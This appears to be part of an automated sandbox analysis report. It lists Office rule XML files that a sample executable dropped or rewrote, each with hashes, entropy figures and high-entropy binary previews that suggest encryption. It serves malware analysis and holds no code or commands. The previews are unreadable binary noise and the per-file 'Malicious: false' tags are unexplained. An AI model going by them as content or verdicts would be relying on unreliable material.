Preview:	<?xmlj."x...o2pf...h#.k,.....$..aPr.3.l.2......-...,.qu....x.,i3..0~....lt...p2'..e<v~..< q.y9/..d...B..\M.p.S&..S.7u..h-2.q....T\.Jb1....8SH........z......#i.H.Df.Rg.......".y.l....W."!.9.o....-..!k).IEv....T.N.v.#.<........Cu.9..S.d.P.5.T.$Z.8.Pk.2.....P.W1.3..:...j.Q......C..?O]..cG'M.Jo>...%.}.aa...Wl.z..7.R.....}9.0Hi.;%.....3.....n.. ..%..<..$.....C"....v....).)...n..B......d...^....h$..aljKsBx[q.`M],.T..=.$.e.k.x.9C........i.......".v..H..y&...C.#..8.".Ny.f .......z`X&._$...........5+..1.h..~sc_OW..K..v..{}h.e.k.e...I...8...h..l.....P...Y..w..P.....w.LK...+(e@.g=....I.......M.kC./.h....bgB...(Q'.%.....+../%L..2.{r..).....Lf4..$....&..h..@.7.x..x........TZ.(.i6....<. @...v,+..Z..)s..mi7.I....%...t.......T.O.......1=....Z....^Z....8..j..G[..rR.....UZ.c\$..........(..l<....u....,..D.....we..y.B..VaM12.%.{..y....W..Qh..6......../v.&p...Sx.ys...~.z.M.C.HN t..21...;GT.D2.jv....h...(O.l..hH.....;(K.....}z.<a...UtK TP..<..3e..-U>

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702550v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.880651648635951
Encrypted:	false
SSDEEP:	48:2YWmKSPfdYjlP6idwOrhB1cJshmRec0VZlbWI5JiJD:2YWmXWj8QhBj7bWI5K
MD5:	19AA507683BD7D0C1EB14030FC5F87AF
SHA1:	6C1CA1EE768D511CDE742FEE7059CDCCC241D3A4
SHA-256:	7E1EB507A00C7DF730CBD11096B0E797D101024DDD6009DEF13115D1C351A971
SHA-512:	B1DE7CB0414184DCF6FDDD9DF4F2CE535A3B1D9551B7041BDF618C88FAF66D3DF775920C56FB8F470A93FC9DC534A47CC0C2C174BB56B51A4721EA2C735D9DF0
Malicious:	false
Preview:	<?xml.....-?..vn,$..U.....Ld/k%`...6.t......g.qT..=...z<x....}K..vV...8x...3.c..7.....j"qM............C.i......N1.....\F3 .R$o:6.~..Q..T..j.@j....l_.=ME...(.l.nCgc!..\|........m..S.h.....ag.....0.........<b..\.;.#A...7.(.....fp.?....4...f..W..p...S.t8.B..u....~..}g.(.5U9...Z..?...H...=sM..f.e.......+..._j$.FB. ..`.!........-...=....'...6.WE... .....ig...]jc...a&/>....[3Bm0..._y..C......w........(%........9V.U....+..,..u.. ....E.)...T2..d..\|&.PI.<.....>..U..#v..o...dg.;.....N.:.....S1..V.nV.{.mI...%.,.......+A.9.......\|...=..i1......3054D.9VW..:../CZ....@.U}..O..!._.m....8_...0.y.G....t....">.x.K..)..7q.o\|<=...w.1..bu..9...h<.`.._.:b..~o,.'...#.;w.z^m.........N...2..RjW....J.6..+Z.#.K.@`..5i...~....H...9...UL?....../T...?s...7.>....l.F.reW.S..."....~G......S..._C.lo`.Dz...#.L....r.1)28N..U...?.B.8..v.r.tK...TF?..d{...!...a...`...H..j7C3G.a}..<..+.YQ].#.@.@....8t..K...`.'w.....@D....CaW.C..9Q.....c....x..w ....Xc..7....j.,.,...k[..d..(*.jS

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702551v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.89243403932112
Encrypted:	false
SSDEEP:	24:YUyhRwSaZooddRSd18Zn0q9OGr/tsLWkrrkM1Kx5AEqDarkKeA5ExmJAF+bsv8c3:YUmRABLdTzr1M/E3we7Xq8KknLCJD
MD5:	1BEEFADB4C67883657786638AA76F0CB
SHA1:	BE18E4DF991C74200C4C1B78BEC4D7678C533623
SHA-256:	3F63638D6AED8548B04536F8C50DA07CEFE7812BA4C3EF42C2140F5419A729C9
SHA-512:	E8B13C5E5434173FCBAC9EB6DB322E5E207E215528657C80FA22E5856A84F4C40853E6916BF7FC2A6D1F1065DD39604E7B2F0E7FACEF247F2BDA824191C03599
Malicious:	false
Preview:	<?xml#{...<.{..R.;W<B!..t3..N.......i&./4.{..6o.Lp..wA0.<2....tg.....X.>.W.....%>.bur..6...tr.b..g..!.3r....p?....d...G[....Z`X.....a...p.......%.......3.....$....M..".fV...d.N.9%."......oSk.Wo.{./.y.IHa.7q./.w...g...0.ezf.$....Z.\<P.)kl.....cNqp3\|..........?.Zs...u.r....v<)c.k%ovp...Y.(Hf.8.].+T<.;....i..t.qw..6>..\..6.g.G...4.......W.C.....<....^.V..N.Wv+.U1p..,.d........N....{.#s._....d.bz-.......#.A....p.TZ9,Q.......5\|.....%..x...U.a9.E.F....b...bO.=0..t.S.@M,......j..#...X=...\.,.Q..G.,....T...b.e.#.....%...b.....$I.g....V`..d..=b#9.w..Tn=n].X.S.....".8.......d.....D...P.....(.dL..$..2I...2..G.>O....y&........1.(P....O....._..u..q<....{....m8.....S...tE.O....n............\|AM.0..A."..1f.gM.{....\..G#......{.>_n..'......0Wu..ja.7..FBeA.m.}o....5..Y6....K.[/........-w.G.ZsX...J.\.N.P.x...\zZ...T.9[.....,.U.. bp....s.i.W...t...#.L...@..+k...b_.../....HA.MA5.7.P.:.8$kj.tX..j.J.../....&.yw..{0').U..dM..mo.I..$\|..p.g]k.xU..\|.+'..J..y.>[4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702600v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.876927600436248
Encrypted:	false
SSDEEP:	48:H8FBYAN7PtqQMv1Z/eSFXxseTbIDeXtfHsJD:H8FBZ7lqQMn2SvrbM
MD5:	04B3CECE723901B9420061831B74034C
SHA1:	0B41CD28049937963FEECAC1FE254B09BB3C81B0
SHA-256:	FB063F73397DC5F21F9786735EC1C42634F28B09B1101B65FE65AE1C6028A284
SHA-512:	6D9B33ABEE2664B124EF25C73101CD835C9F82439C76EA01F7B45602936F9B9883544E20A653645EFB8586273E89AD3090F588D5E5D45663B3B8EA80F40C072F
Malicious:	false
Preview:	<?xml. +.u.eU'......X...oq...S.a.lpmC}!.0.'.Y.N..J..,......l>.Y........j.H..sYT.'.P...0.=..)........+..4...V.\|P0...%`E.lV5....r.'...<F.....E...&.@.%.~.......R...U...\..`}O...f..o.......n...9..o......c8PF.,....(%...X.......g....%.jK?D4...uqc.v....6(.......6r.B..@.y}.3.=....s...Do,.._)5...v.^...O.J9R..B<6..'...4....M.t..iX.Y...p?G.).....>B\..?-..k1TpI..9.8I.I..[..\.m..o.....T...{O...d{.k..;2E.. ..&.....{.~.60...27...0..\.V.....8F^.....H.\..O.h[..z....Sk.5:...1..L.,.../.@.v...+5.,w....{Kr..w).t..l%.1...$....q.....\|.6.+ .\. %..`.......=\|...L....H%...X{.0c..V.;....3...%XC3h\0.$F.J`VEy%.....-...+{1$.%.5.)K0[.....Yb....C..LXHD.U.D...Y....E.!....\|G.....r15.7Z.GD@.+...M......P......a...V.l.;@..".].9wi...m,.Y........M.nk........C...d.A6..Mj. .>S.t.H..............Gy....f...j.zsD>.1w..jg....`..A.-..c.t.8.."........5.....6.g..'.<D ..3(.c.."\...8:.R..+..I..P..._.....GKm.RM.?P-..?}`J.hn....G.g..%..ds~..wd..S.}.._KO.a...u.Y...PJ.r......f..H.._

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702601v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.890934935751519
Encrypted:	false
SSDEEP:	48:V0AwGHxxP8UZX0/qAzfIdbo3hdUz4hMD6+JD:V0AFHxeUZXGqAm/dD1
MD5:	389E0E5CBAEB8C292A5EE15D7F177635
SHA1:	49FB250F25289C255A0B5427A57798B3CDDE40C3
SHA-256:	6DCCB2CD64CA4C3C7276353A652D652F8419BD88EF7F42E01B8E562902DFDA88
SHA-512:	13C7DED147A1A1F61000ACF5F728C6E0C51761CECCD93A5C826CDC05CEED4E70B8D9678FC95F287B0F345B0FB19E9C25E81DF028803CAA2F8A9023AA7A5174C1
Malicious:	false
Preview:	<?xmll...... ..u..B'.Rx...Z...)M..}.D.M.......w.~DM.fb..e.J^.A.]N..f....l...}..!Cp.....y\|.A@1..%.....C_J.:..../...%oc....#.f..p}m.'h.."..e.j.M....%........v.a~.]...xR....<...U...8..N9..S........'.0N.....o;.f.:,..9....r/...GyN....e..R.V....Z.+.@.O.F.\|..~0..2N..........3.......=q.t.X{m...8.t...Q...48.-.\q.E{..N.l..g..~^...\|.=..i'.....@...-.nP..\|[..].N^..0.....n..Kp..R....Z%{..~d.v..w...K8.D......tV+.ut.(.^Q.4h.M...."0l...H..[..=...d.`B._...&.....D.^CNH..Zc..q...B...P...$.......Zq#...y.P...p..fg."j.T.N.G..M.2....../o0..Je).@.MX....m.....^.N....T5,....6.......Q........Ie.L......z.....Y..}.^r..n)yK3.r.2^..q....U..y...4.CJ.....F.5.-.v.q\v.k..w.y..O....T.Io......X..Vo......q...L<@DR..........T%Wg...1.2.....U.=..p..?d.....'.\2a.0B.SMB..:......[...v.q%.kR.c..K..%.O.G\|cX..^.XS7;EC...ep........c...\|.9u.o....0%..=...f.\6.Q-.=........q..q-A....T...*.e..aV...".<.]..K.BI..0..r.....[x..o...z[...$>[@...@..[.o.;.G...wg....;..+..S.\..4'e..g..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702650v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.877231734710934
Encrypted:	false
SSDEEP:	48:WXYrYvSRptm6ejN55IBw982lopMIY2bKkVg2JD:WXYrY0ptCBnWw98RaIfQA
MD5:	ADC9EE8FAEBEE57182C60E1AAF5EE2D9
SHA1:	FD997FEEFB2E54F23ABC098A65CAD54FEB745D25
SHA-256:	9566D6DA2151DB5F3CB5A82B270353E013FFF39F6AF8DC9F2292CFBD8EBDF254
SHA-512:	33F2A59808F78B9EAC11D16B3225FD2E94608E06D76BB157FEF038260648EF94605330DB40D89F08CC7FA3B9A21F4AF6E86067C2F70829DC956642FA737DEF79
Malicious:	false
Preview:	<?xml.C..?..zV..98...5..\.{....H'Ta...u.>.Y.....S..Jj+:..(c1...$......1}ofX.<....z.P.@.....3..P.{.2....ir.'.x].....s.s...p6^.h........4<+D..`..0e.u.e..Z.g..Uh!Kz..$.._m1AW>..D.J..o.5a.......?Y....Nd..2.qD..ik5.a._.pNh!rY..A.......6.4........l^r...".....e.......20....wI.W.:uW....D.....m.)Z.~pn.8.K.....ib.]...#R...lrz.Vc!..E.m9..L..GP.@....I>.(S.....Hj.,R..\|2....... ....\|.Z9.._..l..g....'..2.:..M^<.U..._...../....$.!.\|.-..:~.z...v......5uf..0P.Zr.....;Gpx..&.s........JI.Z[.p...:Z{...........O..y....cSY........[O....^>.=.Gg..V......7aO. .6./..T..k.2.w.$3mr@k..y(2.v..".~.......I61.\|.......+....q..............f.)..Z.j..U7(e.........j.YG........L...._..<.-..7...y..`.k..;;.....t.~n.Y=.x._?.).hgVw......x5...p...;.d...<........D]....l.;I5.ab..-WC.,...:.u.Io....i.V.....1.^aM....<.6.8...+4..G.......Zp......jS..t.%40<....r..p.Z.Lu....i.R".\.......X......&.u!I#GU5...TI..gr.<.o.i..4.a&..$.4.o.....C.....<H.......^ZO.VDQ..i.H..........g.n{M.v.x...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702651v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.889854804578221
Encrypted:	false
SSDEEP:	48:rSWWtXiVSt7WH9JWjkP0PQhzz9nog8PoyRlkoUqP5KCJD:tIWzWjq0Pk9nopPoyRoi
MD5:	C75F2D3C099DB47899C1E190E398312A
SHA1:	AFC6F5CF797BD5E1068A9CC7D68FFB49C7377CF8
SHA-256:	0DB9E3568A2CEA233500EF150390A72332A2B2148A193BE7F078E7F482A28716
SHA-512:	04282B28702A0208FDC9994AD4CC631A40CED1E3AFE3333D9669FFBBFE95F877D362BAF8230BDC857A0F58D1D4A0560B127EA32A87D8DBC02E55A9FB2BAA1C34
Malicious:	false
Preview:	<?xml..ZF.@~..1..~.d..H....~.t........j......l....K}i$.pr[.~..I...P.6...3D.._.+.MC.+.2.....X..[.Rp.HW..c.:.1,..0...Pi..dJ.=..E#.\.h..a...R..R.2>(.r.=k..e..!"fIV.)&.\|.Q:..YHZ.=.2X.Xar..st....i.W.s.qs..YG..w_..h.".C.Md.M+q...M! ...].]...y..F..T..=.(....y.L.H.E.p..k.g/...........`..9.x!'....)..x...i.'.T...fI.....YZ..1...s:.Q.IL/..\|2...4.0u.[.1....z..2d..`...s.c...^...d'.K.._.Ne.1.2....e.....^T.y..={o.M..3.....hC...q...U........V....9..M..}\|....L...LV..D..3.].....G5....2..h.0.....h30........H2.....N..R. @.tey.Z.)F....J..s..X\#BM..w.\.D`[.7...{.+&...R.X..2..o.O.?.5.F...4f.7.yS..+1M.&.RdC..FF.......`.o.Q6.=...1j.0U...##.C.`.m.f ......C^.c.......).......cPz...s.......$.b]`4{nz...f.3C.C1B[.la.7d.\....l.h8..1..2Jl..9...&<(..g4........ ......N.v.u..n...a...S.........]sp.iI..+....[...X. [.S.i..e.....=.7ohtS*..;`..!...GP.Q.ZUT.hm..{....1!..)~....V...-oI.3....,..\.#..G...D.5........$A _.u......e...?..WpL./pQ.p.....r...VS..._.{%..)......g.\|:>...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702700v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1700
Entropy (8bit):	7.8881850304116865
Encrypted:	false
SSDEEP:	48:wvi49mL/QHP9JM6e7NE8ExbuMBXEu5RAwQTX9mJD:wq4i4Hcm8Meu8TjW
MD5:	6BA4FD4149F5B676A303A215E957563F
SHA1:	6BEAEC213EFC018409E04E646CB45DCBC622B74D
SHA-256:	C25CFC85EE96B510261A90FDE3B199CC321B7353FC96E3DCC3E8AE77D4354316
SHA-512:	97FDFC72445DBD07F813215C6A441876E01B3E305CFA9D3749904A9263350956A9A3D42F7BFB91B108FD6E0EE0208045490DDCCE676A2550BC331C6EAD7825AC
Malicious:	false
Preview:	<?xml...R......Q.J....fu.W...I.%....i.....J.F.=.....)\|.A..h.(e<.K2S-.[..k@.'.f.Y..V...m..WH...O.r......X...1:.. ..-9w...Q 3.F...en...j,.Se....,..I.X,"./....R..4$V...b.&+. .(B.zUk...E....M.I2.vbP..;0.....X.r..l..I&.l..4a....4.\|d..G...1{....J!...o...Ry.d...qT...RF..-X...5...ck..m..$...o...@..#.F..k....e1...&....E..U.<.....#..U.(b.\|........M;..o.d....{\.IaX.......r.....T.R%.W...>3.>\...W.^..2..e..fGA.v.7."Y_..Pv.....4.t\G......\|..x....7.............^..o...W@U2.d.....x..l.7.=. 6.C....LL.(...e...RK...h.06....}.....Z.5......1m..7.........N.e.f..&.....J.....[.}J...V...w.b.2IA._,bZg_#;O0.....`.k..I..b..K.(.X....^....f......^..E..e.......z..]E........c.k.L.....]..)..4....."\|...iX..;..A.o3!.......Zy.........x$.7d.N...h..sKV%.2...D....};Ufh....C....,.u...s.c.....c].....-6..G.t....$i..9.. i.%....e....G..Y..>...O....R...A...O.m..(..(..=o(.....!..:...(tQ\.\....E...Y....pf.A...H......zb...OB.<....D..O.A).(....k.E.E..0N.p.....9..~.=.......z.........w

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702701v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.872674840437759
Encrypted:	false
SSDEEP:	48:GvYa443bgwl24vtXn0WXlK7e/YlBx/hePWZcwteFJD:SnGwRXn0qL/YlBr5Zcwte/
MD5:	D0D6D196761BCF4DD83C6872D9C68F89
SHA1:	2589524FA6EB37D21A3E50C7D96A6F96E86B03F1
SHA-256:	2145E764123C8DF080431D61BEFA0E0F7CE2A0C524DA3B61347473D9EF2FBADA
SHA-512:	79D2836FE0877F9B3E965D7B79A5330468954F337EC51C90700E8ADE06EB8712AA2DBDE8D6DBEF1E0F97948840DAADA9BCE858F6BA7F102AD54E68F986706814
Malicious:	false
Preview:	<?xmlyY...hn.aq...WyV...e..\|...8.L:....f.....3W.:c+..sP.;..R..hA6.qO.X=....;R.......O....R.4uS#../c.....T.8.!wW`S<y....l-...W...'.9.A...'."e...\............x..2m....K 4..o.......I.#.%. Y.l.d.m.h[.o.G..\|.P....qF...um.......f]2....H=.(A..xkcrGS.8._...ED....yv.......;...L3..%_xa^.o.&J.f.......o(H....H....dE.3.......!...Z=..cK.@..b.(.u.O....T..b..?..a.~...@...S...\|qbc.3.V.K.t.......30..>..7..A9.....=S...r.B...0..%.n.U:..Y.9....w.....5......-x)..KUzR..;{.C.......g0ya...p..;..[..'...i:sg$CWs.....4...z...b.......U.7.......9R.s.e........_.Qa..hpa~.......BV.5.......T..EMU.Q....H\|.'....Z]....!.d=..z~.'ZO..9`.m................J./.wG.t...R..._.0.I.Id.U..70..;.....&...#,e...^.[.....A.n..+r.X......3....Q.j...q.t..].d...".jb.(/.."....M.P-`.....T.!.\\|2..q.ew.J.&..+-.y<..G..M.!.gX.ZOmM.\..d..$+L.v....B]..4...`sq..`..R...I.x..@...Dh..`i.#3`%%..QG..G4.f...G.a.`...I.#?..V.A99'...M....EVM....%.x...4.....<B....S...).....W:..h.T........6.4.....MjOC.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702750v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.889111372142874
Encrypted:	false
SSDEEP:	48:VrFgaS5VpQOu0Qh7jME4mZbWZ4Pq+js10+6+JD:xy58ek7wE4NZepo10Q
MD5:	58422F8B94C81DB79FFFFEAC1115AFC9
SHA1:	EAB4829F6D0CEDE091B3C67FD2F13D5D005BB797
SHA-256:	595E9B72A69692AB5B9CED0D79F050598CE9D77DE050F9655425171E878A28EC
SHA-512:	262672311709AF93297880AAC0BF262D0BC888DD155C26D20D62BA95F23A3181C5116F8CB4B9D3BE23FB3B79CD2082A3D91A1C24339D620DEA8689C93233415A
Malicious:	false
Preview:	<?xml..F.7..v..;.e. 1.V&.........)..K....>s..a.u...({+...5.F.."..u"..\|......t....H......'.Z.`...Ok..`G....O\......jo8!.};..,L..].t.d...6.E.e..9.`1g..d_.W.zZ....J.8....g...S..V.N...-u.s.....u.jAj..[...-z.v..g.a..........G..[Lb....<.h..,w..pk&^O!a..~R.gEm....K...1.#;.B\|..nN$=..Y..p.-,I.8.u.....t.p.L.ix..+.nG}..).....r>....]....k..+2.t.6.r.g..%9j.A.h..P..+&.JhfFEu..HB)QXR...v....y.8....P.[..\|........>..X..9.....=..9.MQ..(.7p.Y...y..s".G..:kZ.(..]e........I......IZ@..:.vM'd....N\_.Xg\|.8M..$Ja..B.).[.}]......M7....@........<.....<..&M<...q:.......x.m...`...( x.l...g.kA.I..q.x\|L......9..%X..:..!8.W.J..k....uMRj4=.wD.....+Ad-..'..P..W...<Q.......yB5..^...}.."p.'..M2.#.... ...W.... ..j...@.s........P.ub..V..8.!.9Z...v.....\|_..U.>iz...U....;.....6kCj.P....o.EL....'^...3T..Fj$N..b..;......%.Ow.=b.:a'M..t...3.I.1..".......8y......H.......jx...(...1......w.....1.Cl.b.......&.....q....Xf[P.f.". gf...G7....\|f...n4.g\..Y..s..u...,%....."$..S_].

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702751v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.8717011358305555
Encrypted:	false
SSDEEP:	48:uL9NKdFY2Hm4ps2u12DTtQb9N2nM1OiMPD5s4JD:uTKXY2G4pswub9BOimtX
MD5:	68908328A12FF245026224987258DC15
SHA1:	F51967238E4FCF9D59574368AACE84B3A03C08B2
SHA-256:	172455D96243556E1B1C616825C17033C0C52AAC8975F6EB12CA8F2FCA8A6828
SHA-512:	4FA5F8289EC15752C55D258BB6E19BFFA8472033B34CC99330501169EBA6D58A7F67BF5FBF60C8C9E2C9E9036A3829E0E802C6D8446249D849FC7E093FCFD5D0
Malicious:	false
Preview:	<?xml.H...6.........}&.M3v.......>x...XI.C..C:x..j.&........z.o:.Y....VW.@.K@1....ju]X.......&..9W.z...+]..v..P.&...X.%.....+..$}.r.S.sJC.L.w..\..0T....\|Z\..f.5&:.."..d..yI.I.~}.^..!.t....-.aU.....2.A..F.^P...+....y.j..aY."_.7J.\|..x.g.T./..O..4....w...C...tA... u...'Oa.p..}....no.....w.....u....j.G....S.....@..m!..s/....}.d.V..A$.~.Ai>3........f....j.T....BVA.L.`+1}_...A@..fE3....@.@o..A....YvVG.[.m-..=...9g...)......N@ ...?.H=h.\)..Is..&Q...[..&../.\|....QM.4..L..]..]..L...v.RQ..W"A.F..e}V....W..?L.o-....4....jav0..;6..q..9.tz......)54...>4._....j....Cc?..O.g...}...R.<=.....z.^/q..y..a........e.D"2...:../............z}.W.k.....%...>Iz.S.(.9......,.mEO&/?.b."...}-...A.Kmg....G.............r.........FQ..N(........."...R..4...!f.~.?...#.b...B.B.-..V..O.....i......./c.X......E,.3\|.(5..>......n....`..t.S.....C.....5. .z.2&..ry.v...........m2\..N....$_(..R!{.[..b....G9...2.0...@..MV?i......\|[YI....'./._nd...g...K.e...u....l......Ks.P

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	320676
Entropy (8bit):	6.6309731961105305
Encrypted:	false
SSDEEP:	3072:faaBegRjMKWKEw47OsKQseoudfLNAhszSd3qss5JFD2gyw:y8pWnAsIeRxAhs+d3TsVD2gyw
MD5:	E18C637970ED35EEC10BE887DA6E11AA
SHA1:	2923A7F11CE8864E7283B377A92F29BBE5EE72E0
SHA-256:	475781238E2553F9362BF9A3FF51202C2DBDC7FBC5221141BC57930EEE07A32E
SHA-512:	A39C74C8FA628259076F566FEDAAB1748104338AD012DCCD7BEAC621E96F353F09ED4976C54E93D524EAF2F71FDDA4CD6060277D07DDA8B666EDBFFB74A2A264
Malicious:	false
Preview:	<RulexE+..{.R.F4)...g3}t.5r..D.j.2.fxcF.sX..O.V..k6....).Y.v..\.?..!.A...z..d...q!..+....N.[....9~.6.&d..&.PLm ..[.....>{w.V.0.!03X...&....M....4\.eil........5}.... .........Ap.].a....i..v..~~M.H...a..o6......<.....k.wT.......&;.0.G1[....;..nM.....B+.aa...$^(T.....L..sE..X.AD.8....1...k.\?.\|...Z<.js..n.DU..7r.m)s7.)..r]}..C.RO`Ga..Pv)!..W.i..&=.C0.......tGr..& K......g.4..o.. .#M.>.f?8..<H..,..c.L.....o..`u....-.W.l.p...j%p5.%.\|..@.{k.zY..z..`.......q....%...B/(,.'.......m,+P.....{.!5\|..Y.TQA[H...9..}.....C^..).QuWw.&.2s.....Po.r.#'..A....Z.`A.M>..^O#UL.E.....x....]}.....q...E...t.....0? .........+.2O....9.W.....2.....Z@?.kz{...?...P...F3.@...}....vW.c.v.oO.z..\|6.z.{.....;4FfXf..e1~...E^eR;..jG..w.....?Q.;...Y.e.r.........6].)5....d..J..&........E...a......Q.....8..F.../."/3.E_........2.M.a..[.P.d.{S....i...+...aZ../w.....z...0...L%.:..6-.<.3].$B..".....M6.t.....~.Fg..r..........%.jl..:+..^.k.k{..%.;....!Q.!0...;1.@.0.3H."/,*cj......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703501v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.897932273095977
Encrypted:	false
SSDEEP:	48:1GWX807kkSVEAMiJ8wEUV+xfOysZHUVeJD:1Ds07GVXMseUVUffsZHUVo
MD5:	C1B1F42610B14ABB7001348A06DBFE85
SHA1:	F7C7B103E0FB0495244B1A7C7E09C6F6B2F1ABEF
SHA-256:	AC7229D775EEA6C29E9537DC08864333A4A82B2639765CA05141ED96665422A8
SHA-512:	EA11E8FDEB2898923933C8F364C15715EA3C1A81E73A2AF22AC5AA8F06CAAC7272EB5E435BEF35321BF03DBDF3DB829BD351515BD2454B654977BE74ED38C7B8
Malicious:	false
Preview:	<?xml$.z.....g.U....,.;f`4..........g1SI...=%...I...u...?n.v.o...s.V...ut-.J...............ngFf......BkH....i.S.)y....}8oo.3....ab.....-....#.{.`..R..7.e.h.H~._(...#M@W.Ve..t_%^4.^l/l.^l..R..3.R.'..v.......D..K....[.n.4}............,...T.......h...W..'EyUs..T..(.j.@.(2m.hV$.R...../..G=.).......ez.p.... .j...r.FM...]....0.."8/.E..&\...7aXIz..q...h.\|TQ...{.y.R..b~.9..../z.9k...X_.kh.l..vmW.)(.aID.Q.N....a@.A.GG..yW\Y."....43.4.X.....u.<8;t.o.x.!3.@.q.n...r.U<.+4..i.._\.]g.>..u......1...D.=.......UQ.I.XU...y.....t..<$..x....@{I.f......?....O..G..x0%..6./...1.`.U..).^^..{........0s).g...g.,.....U.rA.W..b O.fe.N.$...k.~.....6.\..V...Z.a.....^..By..Q.....G.......y...!$s.vK.e$...-....g....Q....gBq<._.H.?......)zg."...A]R5P.=$N;'....b.:.:j...)..m2..)h..5.....qg.7......%..C.#D.L.,..nA..xZQX..RT.V..H.XY+...B.........'.;";..O.D........V.C...= ...].SX.np.ZO''..(.\|.Vw..m.q.A+.C...d..V.._.{L.'NF..n.U.......m.3.Q>oRD[..k.h_......."7..c."7...l

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703550v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.887673002484006
Encrypted:	false
SSDEEP:	24:gSPXjHqomdbclasbc51riJZb0QYqB//C5qCAhccv5C/+CRKQ+VhR4ywt36YBk1iT:gRomdbzYZbloAc+7Q+gNo/Uuw0vBVgJD
MD5:	1E5446E44F89E7DF03B35122DF083F3E
SHA1:	99CD5408BB256E79EE6F00E76F68BA85C0B97FC8
SHA-256:	87521C9C37163D958EF76619B9E49CA2FF7DE9A2CFA90F8E6F87673CFB1E8D71
SHA-512:	9A122C251197A403CE66907C5E6495E98165126175BBA1159BC01E8AF637E5CCA6AD92F58C9FA1C436D020ABD28750AFB30E448C60482BC7121416882C1B9E9C
Malicious:	false
Preview:	<?xml w.k.K.$n..7..5$.].6^...mTKkWI.t@>.4Y=......;`...$..)..Q...t....:.h..`?+....=..G'.8F4>......@...P..`.%..Q.we.%.1.....4X...S..6.hJM=.Zm....b.u..o...i.....9.$..g..q._O"...7.-...j......^(j..q..St......p.....g(t!.#w... ....HJ..{...K.K....N...iV}Q$.u.7..CIQrk.o....9j@.L...?#.l..wF......../....b..C.;...-...;...h....\|t.....m].,H.sm.PX.T.F`iD......{.I.......7..(Y...j>@[..S...:..z.....s...1....R.}...UH.I...H..W~....q.....JK9......\|..o.../...........tkB.{iD.8...n.nz.G...RD...<nr.:.....4..)....0..TN.....3.-.....D.};.Z.../.>.i.%...:m)`..+.2.t...+...?Wg.!.I.bg.g...t.ju.m,9P.A...\f1..}.W...OI.l#.h]p.. ..n&..2@.et.l.qUelT1.@.J.....y5o.`.Q`F~..\.......6.......n.....w.ZR.8...<......F..p ....".u.;o....VJ.uZ.;gD. .:i...J.. ..u...........,.L fq..'....kzeo..yG.?.v...r.l,...jZ.@.~..(O....o..fi.(..sU.M^..IeD....0.K].g1.G.y.3....BX.x:6..?....s.l.G..4r...=Ue,..L.....nN...Q.$.(..t.0.g;9..@bM.].....y....#...CU.SU..../..i....]-..:.R..H...`...n....eR.ap.....!....9.A..}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703551v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.8790997079317675
Encrypted:	false
SSDEEP:	48:5CT2kl4TcOyIkoQEKZtD1o3E05E5xpINJD:5u/l/E4l63j
MD5:	62E06F1277F0DA30E21C3065132F82A7
SHA1:	9F6DCFCBB3B826B6720FED7EDF4A9A782FF260AF
SHA-256:	78BE6A4CBDE85EC75267A95031BEA630BC738AB0F5897036D8A1141B01190CB9
SHA-512:	489AF138CD8D231BEFF6DF8DA2C157EAD5019D0A99C19C81DE129297AC9E3F2609C24F789BDC08DECF6065400D03D63BE01902FC7F1D437497A9D694BBFAE00F
Malicious:	false
